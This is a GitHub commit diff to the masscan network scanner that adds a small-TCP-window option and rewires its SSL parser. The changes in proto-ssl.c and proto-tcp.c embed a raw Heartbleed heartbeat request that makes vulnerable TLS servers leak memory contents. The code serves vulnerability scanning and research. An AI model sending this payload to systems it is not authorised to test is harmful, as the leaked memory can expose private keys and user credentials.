Skip to content

Commit

Permalink
set window size of TCP
Browse files Browse the repository at this point in the history
  • Loading branch information
robertdavidgraham committed Apr 17, 2014
1 parent d6168eb commit 48b1488
Show file tree
Hide file tree
Showing 8 changed files with 140 additions and 68 deletions.
5 changes: 5 additions & 0 deletions src/proto-banner1.h
Original file line number Diff line number Diff line change
Expand Up @@ -83,6 +83,10 @@ struct ProtocolState {
} sub;
};

enum {
CTRL_SMALL_WINDOW = 1,
};

/**
* A registration structure for various TCP stream protocols
* like HTTP, SSL, and SSH
Expand All @@ -92,6 +96,7 @@ struct ProtocolParserStream {
unsigned port;
const void *hello;
size_t hello_length;
unsigned ctrl_flags;
int (*selftest)(void);
void *(*init)(struct Banner1 *b);
void (*parse)(
Expand Down
2 changes: 1 addition & 1 deletion src/proto-http.c
Original file line number Diff line number Diff line change
Expand Up @@ -422,7 +422,7 @@ http_selftest(void)
/***************************************************************************
***************************************************************************/
struct ProtocolParserStream banner_http = {
"http", 80, http_hello, sizeof(http_hello)-1,
"http", 80, http_hello, sizeof(http_hello)-1, 0,
http_selftest,
http_init,
http_parse,
Expand Down
2 changes: 1 addition & 1 deletion src/proto-ssh.c
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ ssh_selftest(void)
/***************************************************************************
***************************************************************************/
const struct ProtocolParserStream banner_ssh = {
"ssh", 22, 0, 0,
"ssh", 22, 0, 0, 0,
ssh_selftest,
ssh_init,
ssh_parse,
Expand Down
43 changes: 27 additions & 16 deletions src/proto-ssl.c
Original file line number Diff line number Diff line change
Expand Up @@ -225,13 +225,7 @@ server_hello(
remaining--;
hello->ext_remaining--;
if (px[i]) {
static const char heartbleed_request[] =
"\x15\x03\x02\x00\x02\x01\x80"
"\x18\x03\x02\x00\x14\x01" "\x0f\xe9" " "
"[masscan/1.0] ";
banout_append( banout, PROTO_VULN, "SSL[heartbeat] ", 15);
more->payload = heartbleed_request;
more->length = sizeof(heartbleed_request)-1;
}
state = EXT_DATA;
continue;
Expand Down Expand Up @@ -397,12 +391,26 @@ handshake_parse(
case LENGTH1:
remaining <<= 8;
remaining |= px[i];
//printf("." " SSL handshake: type=%u length=%u\n", ssl->record.type, remaining);
DROPDOWN(i,length,state);

case LENGTH2:
remaining <<= 8;
remaining |= px[i];

/* Process the start of some fields. In particular, the "hello done"
* packet has a zero length, so we never drop down in the CONTENTS
* state, so we have to process it here */
switch (ssl->record.type) {
case 0x02: /* hello done */
{
static const char heartbleed_request[] =
"\x15\x03\x02\x00\x02\x01\x80"
"\x18\x03\x02\x00\x03\x01" "\x40\x00";
more->payload = heartbleed_request;
more->length = sizeof(heartbleed_request)-1;
}
break;
}
DROPDOWN(i,length,state);

case CONTENTS:
Expand All @@ -411,10 +419,10 @@ handshake_parse(
if (len > remaining)
len = remaining;

//printf("." "---------ssl-record: 0x%02x\n", ssl->record.type);


switch (ssl->record.type) {
case 0x02: /* server hello */
//printf("server hello\n", ssl->record.type);
server_hello( banner1,
banner1_private,
pstate,
Expand All @@ -423,21 +431,17 @@ handshake_parse(
more);
break;
case 0x0b: /* server certificate */
//printf("server cert\n");
server_cert( banner1,
banner1_private,
pstate,
px+i, len,
banout);
break;
case 0x0c: /* key exchange */
//printf("key exchange\n");
break;
case 0x0e: /* hello done */
//printf("hello done\n");
break;
default:
//printf("unknown SSL record: 0x%02x\n", ssl->record.type);
;
}

Expand Down Expand Up @@ -500,7 +504,7 @@ nothandshake_parse(
case LENGTH1:
remaining <<= 8;
remaining |= px[i];
//printf("." " SSL else: type=%u length=%u\n", ssl->record.type, remaining);

switch (ssl->record.type) {
case 0x02:
if (remaining >= 1) {
Expand Down Expand Up @@ -577,6 +581,13 @@ ssl_parse(
UNKNOWN,
};

/*
for (i=0; i<length && i<8; i++) {
printf("%02x ", px[i]);
}
printf(" \n");
*/

for (i=0; i<length; i++)
switch (state) {
case START:
Expand Down Expand Up @@ -607,7 +618,7 @@ ssl_parse(
remaining |= px[i];
DROPDOWN(i,length,state);
ssl->record.state = 0;
//printf("." "SSL record: content=%u length=%u\n", ssl->content_type, remaining);


case CONTENTS:
{
Expand Down Expand Up @@ -846,7 +857,7 @@ ssl_selftest(void)
/***************************************************************************
***************************************************************************/
struct ProtocolParserStream banner_ssl = {
"ssl", 443, ssl_hello, sizeof(ssl_hello)-1,
"ssl", 443, ssl_hello, sizeof(ssl_hello)-1, 0,
ssl_selftest,
ssl_init,
ssl_parse,
Expand Down
2 changes: 1 addition & 1 deletion src/proto-tcp-telnet.c
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ telnet_selftest(void)
/***************************************************************************
***************************************************************************/
const struct ProtocolParserStream banner_telnet = {
"telnet", 22, 0, 0,
"telnet", 22, 0, 0, 0,
telnet_selftest,
telnet_init,
telnet_parse,
Expand Down
111 changes: 62 additions & 49 deletions src/proto-tcp.c
Original file line number Diff line number Diff line change
Expand Up @@ -596,8 +596,9 @@ static void
tcpcon_send_packet(
struct TCP_ConnectionTable *tcpcon,
struct TCP_Control_Block *tcb,
unsigned flags,
const unsigned char *payload, size_t payload_length)
unsigned tcp_flags,
const unsigned char *payload, size_t payload_length,
unsigned ctrl)
{
struct PacketBuffer *response = 0;
int err = 0;
Expand Down Expand Up @@ -636,11 +637,19 @@ tcpcon_send_packet(
tcb->ip_them, tcb->port_them,
tcb->ip_me, tcb->port_me,
tcb->seqno_me, tcb->seqno_them,
flags,
tcp_flags,
payload, payload_length,
response->px, sizeof(response->px)
);

/*
* KLUDGE:
*/
if (ctrl & CTRL_SMALL_WINDOW) {
printf("=======\n");
tcp_set_window(response->px, response->length, 1);
}

/* If we have payload, then:
* 1. remember the payload so we can resend it
*/
Expand Down Expand Up @@ -743,7 +752,7 @@ tcpcon_send_FIN(
tcb.seqno_them = seqno_them + 1;
tcb.ackno_them = ackno_them;

tcpcon_send_packet(tcpcon, &tcb, 0x11, 0, 0);
tcpcon_send_packet(tcpcon, &tcb, 0x11, 0, 0, 0);
}


Expand Down Expand Up @@ -912,7 +921,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
/* Send "ACK" to acknowlege their "SYN-ACK" */
tcpcon_send_packet(tcpcon, tcb,
0x10,
0, 0);
0, 0, 0);

/* Change ourselves to the "ready" state.*/
tcb->tcpstate = STATE_READY_TO_SEND;
Expand Down Expand Up @@ -940,48 +949,52 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
break;

case STATE_READY_TO_SEND<<8 | TCP_WHAT_TIMEOUT:
{
/* if we have a "hello" message to send to the server,
* then send it */
if (banner1->tcp_payloads[tcb->port_them]) {
size_t x_len = 0;
const unsigned char *x;

/* if we have a "hello" message to send to the server,
* then send it */
if (banner1->tcp_payloads[tcb->port_them]) {
x_len = banner1->tcp_payloads[tcb->port_them]->hello_length;
x = banner1->tcp_payloads[tcb->port_them]->hello;
if (banner1->tcp_payloads[tcb->port_them] == &banner_ssl)
tcb->banner1_state.is_sent_sslhello = 1;

/* Send request. This actually doens't send the packet right
* now, but instead queues up a packet that the transmit
* thread will send soon. */
tcpcon_send_packet(tcpcon, tcb,
0x18,
x, x_len);
LOGip(4, tcb->ip_them, tcb->port_them,
"sending payload %u bytes\n",
x_len);

/* Increment our sequence number */
tcb->seqno_me += (uint32_t)x_len;

/* change our state to reflect that we are now waiting for
* acknowledgement of the data we've sent */
tcb->tcpstate = STATE_PAYLOAD_SENT;
unsigned ctrl = 0;

x_len = banner1->tcp_payloads[tcb->port_them]->hello_length;
x = banner1->tcp_payloads[tcb->port_them]->hello;
if (banner1->tcp_payloads[tcb->port_them] == &banner_ssl)
tcb->banner1_state.is_sent_sslhello = 1;

/*
* KLUDGE
*/
if (tcpcon->is_heartbleed) {
ctrl = CTRL_SMALL_WINDOW;
}

/* Add a timeout so that we can resend the data in case it
* goes missing. Note that we put this back in the timeout
* system regardless if we've sent data. */
timeouts_add( tcpcon->timeouts,
tcb->timeout,
offsetof(struct TCP_Control_Block, timeout),
TICKS_FROM_TV(secs+1,usecs)
);
/* Send request. This actually doens't send the packet right
* now, but instead queues up a packet that the transmit
* thread will send soon. */
tcpcon_send_packet(tcpcon, tcb,
0x18,
x, x_len, ctrl);
LOGip(4, tcb->ip_them, tcb->port_them,
"sending payload %u bytes\n",
x_len);

/* Increment our sequence number */
tcb->seqno_me += (uint32_t)x_len;

/* change our state to reflect that we are now waiting for
* acknowledgement of the data we've sent */
tcb->tcpstate = STATE_PAYLOAD_SENT;
}
break;

/* Add a timeout so that we can resend the data in case it
* goes missing. Note that we put this back in the timeout
* system regardless if we've sent data. */
timeouts_add( tcpcon->timeouts,
tcb->timeout,
offsetof(struct TCP_Control_Block, timeout),
TICKS_FROM_TV(secs+1,usecs)
);
break;

case STATE_READY_TO_SEND<<8 | TCP_WHAT_DATA:
case STATE_WAITING_FOR_RESPONSE<<8 | TCP_WHAT_DATA:
Expand All @@ -994,7 +1007,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
if ((unsigned)(tcb->seqno_them - seqno_them) > payload_length) {
tcpcon_send_packet(tcpcon, tcb,
0x10,
0, 0);
0, 0, 0);
return;
}

Expand All @@ -1007,7 +1020,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
if (payload_length == 0) {
tcpcon_send_packet(tcpcon, tcb,
0x10,
0, 0);
0, 0, 0);
return;
}

Expand All @@ -1027,18 +1040,18 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
/* acknowledge the bytes sent */
if (more.length) {
//printf("." "sending more data %u bytes\n", more.length);
tcpcon_send_packet(tcpcon, tcb, 0x18, more.payload, more.length);
tcpcon_send_packet(tcpcon, tcb, 0x18, more.payload, more.length, 0);
tcb->seqno_me += (uint32_t)more.length;
} else {
tcpcon_send_packet(tcpcon, tcb,
0x10,
0, 0);
0, 0, 0);
}

if (err == STATE_DONE) {
tcpcon_send_packet(tcpcon, tcb,
0x11,
0, 0);
0, 0, 0);
tcb->seqno_me++;
tcpcon_destroy_tcb(tcpcon, tcb);
}
Expand All @@ -1049,7 +1062,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
tcb->seqno_them = seqno_them + (unsigned)payload_length + 1;
tcpcon_send_packet(tcpcon, tcb,
0x11, /*reset */
0, 0);
0, 0, 0);
tcpcon_destroy_tcb(tcpcon, tcb);
break;

Expand Down Expand Up @@ -1097,7 +1110,7 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
tcpcon_send_packet(tcpcon, tcb,
0x18,
tcb->payload + tcb->payload_length - len,
len);
len, 0);
LOGip(4, tcb->ip_them, tcb->port_them,
"- re-sending payload %u bytes\n",
len);
Expand Down Expand Up @@ -1125,13 +1138,13 @@ tcpcon_handle(struct TCP_ConnectionTable *tcpcon,
tcb->seqno_them = seqno_them + (unsigned)payload_length + 1;
tcpcon_send_packet(tcpcon, tcb,
0x11,
0, 0);
0, 0, 0);
tcb->seqno_me++;
break;
case STATE_WAITING_FOR_RESPONSE<<8 | TCP_WHAT_TIMEOUT:
tcpcon_send_packet(tcpcon, tcb,
0x04,
0, 0);
0, 0, 0);
tcpcon_destroy_tcb(tcpcon, tcb);
break;

Expand Down
Loading

0 comments on commit 48b1488

Please sign in to comment.